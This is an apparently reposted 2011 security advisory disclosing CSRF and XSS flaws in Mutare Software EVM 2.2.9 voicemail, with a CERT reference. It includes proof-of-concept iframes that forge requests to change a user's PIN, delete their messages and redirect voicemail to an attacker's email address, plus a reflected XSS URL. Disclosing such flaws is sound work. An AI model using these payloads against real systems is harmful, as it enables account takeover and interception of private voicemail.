Mutare Software EVM - CSRF and XSS Vulnerabilities

2011-03-0900:00:00

vulners.com

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Description:

Mutare Software EVM 2.2.9 (possibly earlier versions) is vulnerable to CSRF
and XSS.

An attacker could do the following to a users' EVM settings:

    A. Change their EVM PIN
    B. Delete all of their voice messages
    C. Change or add any of their delivery address for voicemails

CERT Vulnerability Note: http://www.kb.cert.org/vuls/id/136612

Proof of Concept:

CSRF:

    &lt;html&gt;
    &lt;body&gt;

    &lt;h1&gt;Mutare Software EVM CSRF PoC&lt;/h2&gt;

    &lt;!--
    &lt;iframe src=&quot;https://evoicemail.domain/ChangePin.asp?NewPIN=&lt;insert

new pin here>&VerifyPIN=<insert same new pin here>&ChangePIN=*" border="0"
height="300" width="400">
–>

    &lt;!--
    &lt;iframe

src="https://evoicemail.domain/deletemsg.asp?SysID=4&PIN=&MsgDT=10/8/2010%20
9:26:00%20AM&CCM=ALL&Mailbox=<insert mailbox number here>" border="0"
height="300" width="400">
–>

    &lt;!--
    &lt;iframe

src="https://evoicemail.domain/evmoctel.asp?PwdChanged=&Password=&AllowN=T&N
otifyEveryMsg=-1&Address1=<insert email address
here>&Address2=&Address3=&AllowD=T&IncludeVoice=ALL&AddressD=<insert email
address
here>&ActiveD1=*&AddressD2=&AddressD3=&AttachmentFormat=MP3&DeliveryType=0&L
astDelivery=10%2F8%2F2010+9%3A26%3A01+AM&LastDeliveryDB=10%2F8%2F2010+9%3A26
%3A01+AM&AllowF=F&PopF=T&AddressF=&Update=True" border="0" height="300"
width="600">
–>

    &lt;/body&gt;
    &lt;/html&gt;

XSS:

https://evoicemail.domain.com/default.asp?Subscriber=12345%22%20onclick=%22j
avascript:alert%281%29;

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